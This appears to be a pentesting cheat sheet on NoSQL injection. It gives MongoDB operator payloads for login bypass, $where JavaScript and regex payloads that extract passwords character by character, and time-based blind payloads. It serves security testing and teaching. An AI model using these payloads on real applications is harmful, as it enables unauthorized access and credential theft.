NoSQLi

No SQL injection.

NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They use a wide range of query languages instead of a universal standard like SQL, and have fewer relational constraints.

Types:

  • Syntax injection

  • Operator injection

Detection

'"`{
;$Foo}
$Foo \xYZ
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
# FALSE
' && 0 && 'x
# TRUE
' && 1 && 'x
'||'1'=='1

MongoDB may ignore all characters after a null character.

Operator Injection

You may be able to inject query operators to manipulate NoSQL queries.

$eq

Equal

$ne

Not equal

$gt

Greater than

$in

Documents that matches all of the values specified in an array.

$where

Documents that match a JavaScript expression.

$exists

Documents that have the specified field.

$regex

Documents where values ​​match a specified regex.

  • {"username":"wiener"} -> {"username":{"$ne":"invalid"}} username=wiener -> username[$ne]=invalid

  • You can try with (or use the Content Type Converter extension):

    1. Convert the request method from GET to POST.

    2. Change the Content-Type header to application/json.

    3. Add JSON to the message body.

    4. Inject query operators in the JSON.

ex.

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":"myuser","password":"mypassword", "$where":"0"}
{"username":"myuser","password":"mypassword", "$where":"1"}

Extra

If the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data.

admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b

You may be able to use the keys() method to extract the name of data fields.

"$where":"Object.keys(this)[0].match('^.{0}a.*')"
"$where":"Object.keys(this)[0][0]=='a'"

Or other operator

"password":{"$regex":"^a*"}

You can also try with time delay

"$where": "sleep(5000)"
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

Last updated

Was this helpful?